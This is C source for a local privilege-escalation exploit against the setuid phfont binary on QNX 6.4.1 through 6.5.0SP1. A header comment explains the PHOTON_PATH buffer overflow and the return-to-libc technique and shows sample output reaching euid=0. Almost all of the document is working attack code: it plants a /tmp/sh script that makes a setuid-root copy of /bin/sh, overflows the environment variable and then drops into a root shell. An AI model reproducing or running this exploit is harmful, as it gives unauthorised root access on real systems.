QNX version 6.5.0 local root exploit that leverages a buffer overflow in /usr/photon/bin/phfont.
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/*
* QNX 6.5.0 x86 phfont local root exploit by cenobyte 2013
* <vincitamorpatriae@gmail.com>
*
* - vulnerability description:
* Setuid root /usr/photon/bin/phfont on QNX is prone to a buffer overflow.
* The vulnerability is due to insufficent bounds checking of the PHOTON_HOME
* environment variable.
*
* - vulnerable platforms:
* QNX 6.5.0SP1
* QNX 6.5.0
* QNX 6.4.1
*
* - not vulnerable:
* QNX 6.3.0
* QNX 6.2.0
*
* - exploit information:
* This is a return-to-libc exploit that yields euid=0. The addresses of
* system() and exit() are retrieved from libc using dlsym().
*
* During development of this exploit I ran into tty issues after succesfully
* overwriting the EIP and launching /bin/sh. The following message appeared:
*
* No controlling tty (open /dev/tty: No such device or address)
*
* The shell became unusable and required a kill -9 to exit. To get around that
* I had modify the exploit to create a shell script named /tmp/sh which copies
* /bin/sh to /tmp/shell and then performs a chmod +s on /tmp/shell.
*
* During execution of the exploit the argument of system() will be set to sh,
* and PATH will be set to /tmp. Once /tmp/sh is been executed, the exploit
* will launch the setuid /tmp/shell yielding the user euid=0.
*
* - example:
* $ uname -a
* QNX localhost 6.5.0 2010/07/09-14:44:03EDT x86pc x86
* $ id
* uid=100(user) gid=100
* $ ./qnx-phfont
* QNX 6.5.0 x86 phfont local root exploit by cenobyte 2013
*
* [-] system(): 0xb031bd80
* [-] exit(): 0xb032b5f0
* [-] sh: 0xb030b7f8
* [-] now dropping into root shell...
* # id
* uid=100(user) gid=100 euid=0(root)
*
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <dlfcn.h>
#include <err.h>
#include <fcntl.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define HEADER "QNX 6.5.0 x86 phfont local root exploit by cenobyte 2013"
#define VULN "PHOTON_PATH="
#define OFFSET 416
#define FILENAME "/tmp/sh"
static void createshell(void);
static void fail(void);
static void checknull(unsigned int addr);
static unsigned int find_string(char *s);
static unsigned int is_string(unsigned int addr, char *string);
static unsigned int find_libc(char *syscall);
void createshell(void) {
int fd;
char *s="/bin/cp /bin/sh /tmp/shell\n"
"/bin/chmod 4755 /tmp/shell\n"
"/bin/chown root:root /tmp/shell\n";
fd = open(FILENAME, O_RDWR|O_CREAT, S_IRWXU|S_IXGRP|S_IXOTH);
if (fd < 0)
errx(1, "cannot open %s for writing", FILENAME);
write(fd, s, strlen(s));
close(fd);
}
void
checknull(unsigned int addr)
{
if (!(addr & 0xff) || \
!(addr & 0xff00) || \
!(addr & 0xff0000) || \
!(addr & 0xff000000))
errx(1, "return-to-libc failed: " \
"0x%x contains a null byte", addr);
}
void
fail(void)
{
printf("\n");
errx(1, "return-to-libc failed");
}
unsigned int
is_string(unsigned int addr, char *string)
{
char *a = addr;
signal(SIGSEGV, fail);
if (strcmp(a, string) == 0)
return(0);
return(1);
}
unsigned int
find_string(char *string)
{
unsigned int i;
printf("[-] %s: ", string);
for (i = 0xb0300000; i < 0xdeadbeef; i++) {
if (is_string(i, string) != 0)
continue;
printf("0x%x\n", i);
checknull(i);
return(i);
}
return(1);
}
unsigned int
find_libc(char *syscall)
{
void *s;
unsigned int syscall_addr;
if (!(s = dlopen(NULL, RTLD_LAZY)))
errx(1, "error: dlopen() failed");
if (!(syscall_addr = (unsigned int)dlsym(s, syscall)))
errx(1, "error: dlsym() %s", syscall);
printf("[-] %s(): 0x%x\n", syscall, syscall_addr);
checknull(syscall_addr);
return(syscall_addr);
return(1);
}
int
main(int argc, char **argv)
{
unsigned int system_addr;
unsigned int exit_addr;
unsigned int sh_addr;
char env[440];
printf("%s\n\n", HEADER);
createshell();
system_addr = find_libc("system");
exit_addr = find_libc("exit");
sh_addr = find_string("sh");
memset(env, 0xEB, sizeof(env));
memcpy(env + OFFSET, (char *)&system_addr, 4);
memcpy(env + OFFSET + 4, (char *)&exit_addr, 4);
memcpy(env + OFFSET + 8, (char *)&sh_addr, 4);
setenv("PHOTON_PATH", env, 0);
system("PATH=/tmp:/bin:/sbin:/usr/bin:/usr/sbin /usr/photon/bin/phfont");
printf("[-] now dropping into root shell...\n");
sleep(2);
if (unlink(FILENAME) != 0)
printf("error: cannot unlink %s\n", FILENAME);
system("/tmp/shell");
return(0);
}